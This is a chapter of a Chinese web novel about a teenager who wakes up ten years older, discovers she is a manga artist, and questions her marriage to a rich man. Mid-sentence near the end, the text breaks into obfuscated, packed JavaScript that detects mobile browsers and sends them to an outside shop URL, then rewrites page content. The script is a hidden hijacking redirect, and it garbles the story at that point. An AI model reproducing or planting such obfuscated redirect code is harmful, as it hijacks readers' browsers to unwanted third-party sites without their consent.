“哟,真幸福啊,不需要多努力奋斗,女人只要想办法嫁个有钱的老公就万事大吉了——这病房起码比我家大三倍吧?配套厨房和浴室……会客室……不知道的还以为你是故意装病在什么豪华酒店套房里享清福……小陈啊,你这就不太好了,在医院里大搞特权、铺张浪费可不值得提倡。女人多少还是要吃点苦,知道吗?” 陈千景:“……” 陈千景坐在病床上,脸上摆着事先经过顾芝指点的“工作营业”表情,闻言只能尬笑。 这是来探病的陌生人A,标签绿色,“关系不好又人品堪忧”的代表,备注“被你炒掉的前公司老板,你曾希望能把他的舌头揪出来扎在路灯上”。 ……难怪我会这么希望,好贱一领导。 光是想象一下当年的我在这货手底下干活时曾遭遇的指指点点……啊,感觉下一秒就要对这个口水乱喷的玩意发射魔贯光杀炮…… 至于他口中的“嫁了个有钱老公”? 谁? 是说顾芝那个败家渣男吗?? 陈千景权当没听到,这种玩意每句话只是为了站在道德制高点贬低她,一个字都不值得信,这可是顾芝自己强调过的。 只是,好不容易送走叽里呱啦的前公司领导,第二波带着点心、水果、零食与花篮的前同事又挤了进来。 他们纷纷关照她的身体,又对她所处的病房与病区表现出钦羡。 似乎这一整片病区是有点安静,和以前去医院时吵吵嗡嗡人挤人的感觉不一样……这些天来,除非下楼遛弯,她基本遇不到病友。 陈千景后知后觉地意识到,那天我做大脑检查时也来了很多医生,而且楼下还有那么大的人工花园,各式假山小河…… 这个病区可能是有钱人专供的病区吧?豪门电视剧里经常演的那种,“超级VIP”之类的。 不过这只能代表我超级有钱啊,毕竟顾芝他是个连请护工都觉得浪费的抠门渣男—— 反过来,如果他真的是电视剧里那种有钱的大老板,那何必勤勤恳恳地全程陪护她,擦洗打饭换衣服都不假手他人…… 陈千景可没见过哪个有钱人会放低身段当贴身护工,这种事明明只要花钱请人做就好了。 霸总的确有一挥手把女主抬到最高级病房的操作,但可没哪个霸总会洗毛巾晾被单帮她擦汗洗脚,工作时也是屈腿缩在一把狭小的扶手椅上皱眉看电脑,时不时分神查看她的情况……还会抓着她乱蹬的腿套袜子,在她吵着要吃辣椒炒肉时摁着她强灌蛋花粥,再逼她继续背资料。 ……顾芝,真可怕一变态。 那个总逼着她背单词的班主任都没他吓人。 每回想一次他的言行,陈千景就忍不住打一次冷战。 ——可这些来探病的前同事,一边对她嘘寒问暖,一边又小心翼翼地衡量四周家具,或多或少的,都表达了“你对象有钱真好”的意思。 ……奇怪。 总不可能是为了照顾“男人的面子”,对外自己都说是顾芝赚钱养家吧? 她未来就算眼瞎了,也不可能这么窝囊,成天烧自己的工资给个软饭男撑场。 陈千景艰难地应付着他们,愈发困惑。 这乌泱泱的一群人,她实在不记得具体的人名了,再能背书的文科生也无法在几小时内吃透那本大文件夹,陈千景只是努力记下了所有的重点。 ……没有一张脸属于资料里的“重点”,均是意味着“关系一般”的无色标签。 所以误会了她和顾芝的关系,也正常? 陈千景勉强把人脸与自己背诵的那些资料对上,又扯了几个共同加班时闹出的笑话,敷衍了过去。 最后似乎有个长相清秀的男人想给她递东西,犹豫着说很抱歉前年没有参加你的婚礼,这是我曾为你挑选很久的祝福…… 陈千景莫名其妙。 在她眼中,这个“无色标签”迅速被其他无色标签拉了下去,夹杂着小声的“她老公只是不在这里又不是已经死了”“你收敛点既然人家都结婚了就别搞这套”……等等劝诫。 然后这群人急吼吼地和她告别,扫雷排炸|弹般硬排着那个男人离开了。 陈千景:? 前公司的人都这么奇怪吗?难怪我要换工作了。 是的,在顾芝提供的巨大文件夹下,陈千景已经大略了解了自己的职业生涯: 毕业后进入某中型私企工作,两年后辞职,现在在另一家大公司底下挂职,与该公司是签约共赢的合作关系。 至于她现在详细在靠什么赚钱……资料里没写,估计是为了方便她记忆背诵,那部人际关系大全里很少详细描写每个人的工作内容,仅仅是“同事”“前辈”“上司”“主管”这种模糊的关系已经够陈千景背得晕头转脑了。 反正,就是能赚到钱的工作啦。 陈千景对自己未来的职业没什么幻想,能赚钱就是好工作。 作为个人和大公司是合作关系呢,听着就酷! 第三位探访者却迅速打破了她的幻想。 “请了多少人?不会吧不会吧?一个护工都没请吗?也没有帮佣来给你做饭?哎——不会吧——千景你老公这么不舍得给你花钱可不行,来,和张姐说说吧,他是不是在外面有外遇了啊?” ……大公司的人也会有热爱指指点点的家伙啊。 陈千景推开来人拍来的手,继续拎起笑脸,回忆脑子里的资料。 标签无色,“关系一般人品一般”,备注“现公司前编辑,爱显摆,自我意识过盛,认为比自己工作能力优秀的人统统过得没自己好,曾强行要求你砍掉大纲给主角安排一段怀孕流产跨种族三角恋,催着你跟上热点。” ……前?编辑?主角? 陈千景逐渐嗅到了不对劲。 “那个,我的工作……” “工作的话就不要说了,来来来,千景,让张姐教你啊,当年我成功把得住我家那个开奥迪的,就是因为会使手段,总不能指望男人自己主动给你买我手上这枚十克拉的大钻戒——” “……” 噢。 高中生麻木地瞅了眼对方一进门起便来回挥舞、恨不得舞到自己脸上的大钻戒。 “这不是金刚钻钻头吗?” “……千景,这你就瞎说了,像你们这种小姑娘懂什么,你瞧瞧,这切面的火彩……” “……” 陈千景就此陷入了“你看我的钻戒”“你看我的包包”“你看我家宝宝身上这套五位数的婴儿服”“你看我婆婆新给我买的跑车”等等循环中。 这位显然不是来探病的,是来散播自己无处释放的炫耀心的。 终于,熬过将近一小时,炫富炫得心满意足的陌生人留下一大箱“这可是进口的”“这可是小众贵妇品牌”的不知名牛奶,翩然离去,而第四位探访者耷拉着肩膀拖着步子走进来。 如果说前一位是就差在脖子上戴金项链嘚瑟的蝴蝶,后一位就像从哪里的地下室里刚刚爬出来的丧尸片主角。 且不论这张脸对应的标签依旧是无色,备注格外微妙,“你觉得她人挺好但就是不想把关系处太近”…… 这人,她起码三天没洗头了。 “……割个阑尾而已,传言里又说你昏迷又说你脑子出问题的,实际不是气色很好嘛……这就可以申请无限期停更吗……真好啊……有个会帮忙编请假理由的聪明对象真厉害啊……所以你这个病是假的吧……一定是脑子里挤不出灵感后随便编的借口,这样就能明目张胆地停更又得到大家的同情……这个病号服也是表演戏服吧……呵呵……前辈我很嫉妒哦……啊。探病的桃子罐头你就别吃了。还给我。” 陈千景:“……” 陈千景:“……那个,前辈……” “前辈什么前辈,”坐在她病床前的女人幽幽抠开罐头的塑料包装:“叫我挤不出灵感只能经常断更结果总是赚不到钱还被读者诅咒吊路灯的冷门废物。” 陈千景:“……” 好强的负能量。 这人抠个罐头包装都能抠出贞子抓井壁的怨气来。 她怀着复杂的心情盯了一会儿这位,见她抠着抠着只抠断了指甲,仍未抠开罐头,实在忍不住。 “那个,要我帮忙吗?” 陈千景打开了糖水罐头。 陈千景喂给前辈一块桃子。两块桃子。 陈千景拿牙签的手被攥住了,前辈将她三天没洗的头发呜呜嘤嘤拱过来。 “……谢谢你,小千景,还是你对我好……活该你大赚特赚又有那么多读者喜欢……呜呜呜……我也喜欢你……请和我结婚……” 陈千景:头油头油头油啊啊啊啊—— 来探了一次病却被鼓励到的前辈幸福地离去了,徒留病人颤抖地冲向洗手池,疯狂打肥皂。 ……这都是些什么人!!她成天生活在怎样可怕的工作环境中!! 这帮人没一个可信任,嘴里全是颠三倒四的谎话,什么时候顾芝标明的“关系很好人品很好”红色标签能—— “老师?老师?老师哇啊啊啊啊老师你不能死——” 红色标签来了。 红色标签一路哭着喊着扑了过来。 ……还没甩干净水珠的陈千景被腾飞的影子扑倒在床,还未喘匀气,就被抓住了肩膀。 天旋地转,疯狂摇晃。 “老师!老师完结卷的签名版你还没签完!答应给其他老师的联动贺图还有半个月就要印刷了!老师新作预告分镜你也没给我——而且联动方那边已经催了七遍要做立牌和杯套的新柄图啊老师,一套十二张——还有x市已经预热宣传了三个月的签售会——老师啊啊啊啊这些都没画完你绝对不能鸽我啊啊!!” 陈千景:“……” 在这近乎破音的哀求中,陈千景快被摇吐了。 “等……等等……什……我……” 红色标签1号,关系最紧密的同事与朋友之一,王梦容编辑摘下眼镜,擦了擦自己泛红的眼眶。 “老师你现在还不能死,”她嘶哑道,“就算肠子被割了一半脑子被麻醉整坏,也要坚持把稿交完啊,老师。” 陈千景:“……” 确定这货是意味着“挚友”的红色标签吗??这不是“人品巨差关系巨差”的绿色标? 她兀自瞪了她好一会儿,可哪怕脑子还被晃得嗡嗡直响,这张被她重点记忆的第一张脸仍然没有歪曲。 ……红色标签里,有一个人本就是陈千景高中的闺蜜,另一个人虽然她没见过,但人物标签有着“大学室友”,想必关系也很可靠…… 唯独眼前这个陌生女人,没和她一起读过书,是进入社会后才认识的“重要合作方”“利益强关联”,却偏偏也被顾芝备注了“重视的朋友”…… 而且,“观察力很强”“敏锐度颇高”“可能无法在她面前隐藏失忆真相”。 这都是顾芝在附录里书写的判断。 虽然不愿意承认,但,目前,顾芝给出的情报还没出过错。 所以,隔着资料去看,王梦容,怎么也是一个应该被她提起最高警惕、谨慎打探的…… “老师。你跟我。我们私底下,就说实话吧。” 王编辑沉痛地握住了陈千景的肩膀。 “想拖稿直说,不要表演住院了。一桩阑尾小手术,你在医院挂机了快一周,稿子是一张也不画啊?你只是暂时不能吃了,又不是手截肢了——我看你软件后台一次没打开过!私下追剧追得很爽是吗,还是又沉迷搞对象了?” 陈千景:“……” 陈千景再也顾不上晕头转脑了。 她震怒道:“谁会‘又’沉迷搞对象!我才不会沉迷搞那种……那种……总之,你不要仗着我失忆就诋毁我的名誉权!!” 啊。 “失忆?” 王编辑眼睛一亮:“原来老师你想到新梗了?这就开始取材了吗?” 陈千景:“……不,不是玩失忆梗,我是穿越……” 王编:“老师,穿越时空是老梗了,挺无聊的。换一个吧,失忆后变成史莱姆转生赛博朋克世界怎么样?” 陈千景:“……什么究极热点缝合怪啊你!!” 为什么这种人是她十年后的新闺蜜!为什么!! 王梦容长长地叹了口气。 “我就是不擅长想梗啦,老师,要不你向张姐妥协,回去画那个怀孕流产跨种族三角恋?” 某种超越灵魂、刻在DNA深处的本能——又名“原始xp”,动了。 十七岁与二十七岁的陈千景同时应激起来:“想都别想,这种情节永远不要来玷污我笔下的宝!!!” “……既然如此,老师你就好好画嘛。” 王梦容唉声叹气地倒在病床上,自然地搂过她的胳膊,陈千景看见了她粉底下泛青的眼眶。 “这段时间我为了完结卷的宣传与出版都快把肝熬废了……老师你却突然销声匿迹,托了你对象来说身体出了问题,要无限期停更……老师,你真的不要再跟我开玩笑了。太吓人。” 陈千景:“……” 陈千景咬了咬唇。 王编辑见状,直接伸手挥了挥,口吻无奈又熟稔。 “好好,是我的错,我现在不催稿了老师。既然气色还不错,那就好好养着,有心情了画一张,没心情了稍微停一小会也可以?等病好了我请你去吃火锅补偿啊,请你吃三个月份的火锅行了吧……行行好,不管如何,无限期停更这种决定能不能收回去啊老师……就算你一直一直很想腾出假期来和对象培养感情,也不急于这一时……” 陈千景已经没心思去听她之后抱怨的碎碎念了。 编辑。老师。柄图。完结卷。签售会。 未来的自己从事着怎样的工作,一目了然。 [漫画家] 可……可是…… 【成天就知道在课本上画小人——未来能靠画小人吃饭么你,陈千景?动动你的猪脑子,把这张二十五分的卷子重抄三十遍交上来!!】 她放在一旁的手指轻轻颤了颤,指尖向远处伸了一下,又飞速缩回掌心,扣紧。 不应该。 不对啊。 明明,她这种人,和每一个普通人是一样的。 不是很喜欢学习,脑袋也不是很聪明,努力到了尽头也有记不住的东西,答不出的题。 她从来不是多顶尖的学神,也不是多嚣张的吊车尾——只是平凡的中游学生而已。 离开初中之后,高中的知识变得越来越难以理解,上课听讲的尽头也只是头晕犯困。 所以总想做点学习以外的事情去逃避,譬如画小人,譬如刻橡皮章,譬如在幻想里和各种各样的故事角色跳舞…… 但是,但是。 【小朋友,你问我美术课的收费吗?三百多块一节吧……我们家宝宝交了一整个学期的学费,我没仔细算过呢。】 陈千景明白的,对自己而言,“只有学习才能有出路”这件事。 【笔刷?颜料?水粉纸?这些一共109。不要了?哎,小丫头片子,跑什么……】 不喜欢学习,也必须要去学,只有好好学习,才可能赚到多多的钱,拥有好好的未来。 【千景,你看那边,那边!那是我们学校的艺术特长生——背着画夹要去参加集训吧,听说那种集训一次就要交几万块呢,好贵啊——】 所以,画画那种东西……她根本就从未……期待过…… 以此为生。 以此为梦。 ——不对的。 十年后,我的人生,不该如此。 特别特别能赚钱当然很值得高兴——可如果那不是“任意一个随便的工作”,而是一个特别特别厉害的漫画家—— 陈千景小小地吸气,又小小地呼出气,像一只刚刚探出地洞的小动物。 只见过寒冬的雪与冰,过分梦幻的春天只会令她仓皇、畏惧、逃避。 因为这一切,都不像属于自己。 “……老师?怎么了?你肚子疼吗?” “没……我想……我的笔名……是什么?我想查一查看……” 笔名杯子蛋糕,头像是一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16882308|190263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉垫爪爪的漫画家在六年前网络出道。 很幼稚的笔名。很幼稚的画风。 她刚开始的画工相对其余专业画家只能称为“粗陋”,本人也屡次表示“从未系统学习美术”,最初的稿子里,即便是火柴人的线条也有些拙劣。 可是,杯子蛋糕老师构造的故事,笔触却又非常柔和,主题是经典的友谊,冒险与成长。 她画过铁血战士大战哥斯拉的同人图,画过魔法少女的if线,代表作《蔷薇星球》共13卷,讲述了一朵小蔷薇落在了一颗陌生又寒冷的星球上,为了生存不得不努力用自己柔软的尖刺去战斗、途中结识了许许多多的新伙伴、最后阴阳差错还拯救了这颗星球的冒险故事。 同时,杯子蛋糕老师还产出了许许多多的中短篇,画工每年都在进步,画风从粗陋一点点蜕变为精致,去年在某知名网站上连载的大热漫画也在成功电影化后宣告完结,个人账号还在网络长期连载一部萌系Q版四格,主角是一只总在发癫的奶牛猫和一只总在被奶牛猫踩踏的二哈…… 粉丝数量,个人论坛,极高的作品讨论度,个人却作风分外低调,只有文字性质的杂志采访与签售会的模糊录像。 高糊的录像里,陈千景抿紧唇,看着正低头给粉丝签名的女人。 好流畅的线条,一个个生动又可爱的人物在数秒内跃然纸上,抬起头来将漫画合上,又弯弯眼睛,双手递出,向对方流出一个表达感谢的笑。 同样的笑容她在签售过程中对着无数陌生人近乎做了一千遍,可还是那么真实、自然,带着点年少的活泼。 二十七岁的陈千景,和十七岁的陈千景比起来,一点没老。 可那里也有一份她怎么都学不来的坦然与镇定,正如同她无名指上那道从不摘下的、细小的银色,令陈千景无比陌生。 那个……未来的自己。 怎么可能是自己。 “……不。不对。不应该的。” 或许是她看着搜索结果的神情太动摇。 又或许,是王梦容作为挚友真正关心着她——顾芝没有出过错——她不仅告诉了她笔名,又直接把那部手机留给了她,出去带上了门,让她“先好好静静”。 ……手机呢。 陈千景兀自扣着漆黑的屏幕。 联系外界的工具。 就这么轻易到手了。 ……哈,哈哈,早知道,就不用浪费时间和顾芝周旋那么多次,直接老实等到周末,从来探病的朋友手中借就是了。 她真傻。 陈千景抹了抹眼睛,握紧手机,悄悄下了床。 她在会客室里寻摸半天,最终还是打开顾芝办公用的小书房,抓出一件咖啡味浓郁的、皱巴巴的长外套。 系好扣子,大略遮住了病服,她推开病房大门。 王梦容正低着头站在走廊另一端的安全通道口,神情一改在病房里和她那副撒泼打滚的样子,严肃又认真。 而与她交谈的人倚靠在通道更后方的墙壁,只露出了手臂与绷带的影子。 是顾芝。 这两个人背着她在聊什么……不,她现在一点都不关心。 顾芝接到了什么电话会离开这样久,顾芝刚才都在做些什么没回来帮她应付陌生人,顾芝——他的一切,和她没关系。 陈千景收回视线。 那两个人交谈的角度正好,看不见自己。 病房门一开一合,她匆匆跑下另一边走廊的阶梯。 要有网,有信号,不能有其他人,尤其是不能被顾芝重新找到,再有一张大大的镜子最好…… 最终陈千景停在一栋楼西侧的女厕所里。 似乎已经废弃了很久,地上乱糟糟摆着损坏的器材。 她小心地迈步过去,面朝着那面斜放在墙根的大镜子。 “你……你好。” 镜子里的她微微红着眼眶,一点没有镇定从容的模样。 陈千景一点点蹲下。 面对如此梦幻的未来,她不知道在难受什么。 这岂不是比“赚很多很多钱”更好,这可是所谓的“梦想”。 做梦也没敢幻想过的梦想。 可偏偏就是,难受极了。 “我想问问你……比起时空穿越……比起顾锦宸……我有个更重要的问题……现在……必须……” 对着镜子,看着自己的脸,陈千景终于忍不住了。 她哽咽起来,重新举起手机,向镜子里的自己展出新的搜索界面。 顾芝,出身豪门顾家,19岁跨级修完top大学双博士学位的天才,现身价估值…… 稀薄的资料,几乎为零的报道,可再低调省略的信息,再含糊浅薄的履历,也盖不过那个人身上一层又一层的金光。 绝不属于“普通人”的世界,也绝对不可能和她交集的线路,出生起就在常人无法想象的最高点。 原来是个超级有钱的家伙,还有一颗超级大脑。 所以…… “你和那个人结婚,是为了借助他的资源,实现自己的梦想吗?” 陈千景没有可怜谁。 陈千景看着镜子,只是很难受,难受到眼泪根本止不住。 “未来的我……你……为了赚到钱,为了能实现理想……成为了连婚姻都能赔出去,做交换筹码的大人吗?” 她明明没有很希望过成为多厉害的漫画家。 她更不想利用某个背景深厚的人实现自己的愿望。 嗯,因为她还只是在读高二,她肯定没有多少社会阅历,她也不懂十年后的自己究竟经历了什么改变了什么—— “比起你,我就是很天真,也很蠢。” 十七岁的陈千景哭着问:“可为什么……为什么……不仅没成功和我最喜欢的人结婚……还非要弄脏我们从小就偷偷藏在心里的梦想呢?” 想要成为漫画家。想赚很多钱。 ——可做不到没关系的。 因为我脑子没有那么聪明,背下来的单词总是出错,编出来的故事也蠢蠢的。 因为好多好多漫画家都是很难赚到钱的,能赚钱的漫画家只有凤毛麟角。 因为我画画也没那么好看的,勉强模仿着原图刻下的橡皮章要反复修正好多次线条。 因为要学习美术要好多好多钱,我家根本不可能拿出那么多的钱,还是老实学习比较好。 因为……因为……我只要在脑子里悄悄幻想一下,就满足了。 做不到就做不到好了,普通人慢慢接受现实好了,期望只要一开始调到最低就不会再落空了。 没关系。 普通就普通,贫穷就贫穷。 无论如何她也不想要去利用欺骗另一个人的婚姻与财产——她只想要—— 对着镜子,陈千景大哭出声。 “喂,我问你啊,呜,陈千景,为什么,你告诉我,为什么要——那明明是我最喜欢的漫画了——干嘛要用这种方法去实现——呜——我不想讨厌自己啊——长大后为什么会变成这样——” 【唉。】 锤上去的拳头被猛地一牵,另一个人攥住了她绷紧的指节。 镜子里,用力大哭、乱作一团的那张脸不知何时冷静下来,只微微皱眉,露出无可奈何的笑。 她像是刚睡醒,还带着点怨气,又强忍了下来。 【你是笨蛋吗。】 拉扯感自胸口上升,蹲着的陈千景一个恍惚,被镜子那头的陈千景牵了过去。 仿佛坠入一个无限的兔子洞,她坠入镜子之中。 【胡乱脑补也有个限度吧,笨蛋,非要我带你亲自看看是吗?】 那个陈千景恼恨地瞪着她,仿佛下一秒就要咬住她的脸,可真正牵着她向下的手却很温柔。 她划开一道道光怪陆离的水波,水波下映出一盏盏晕黄乳白的明灯。 【你以为我是什么魔王吗——谁啊——竟然还指控我是出于利益——】 陈千景自镜面坠入纷杂陌生的记忆之中,下一秒就要坠入记忆中另一个人的眼睛。 温柔,又专注,虚假的笑意,是假模假样的顾芝。 而那个自己恼恨教训的尾音还在胸腔深处回荡。 【——我才不会和不喜欢的人结婚,你是笨蛋吗!!】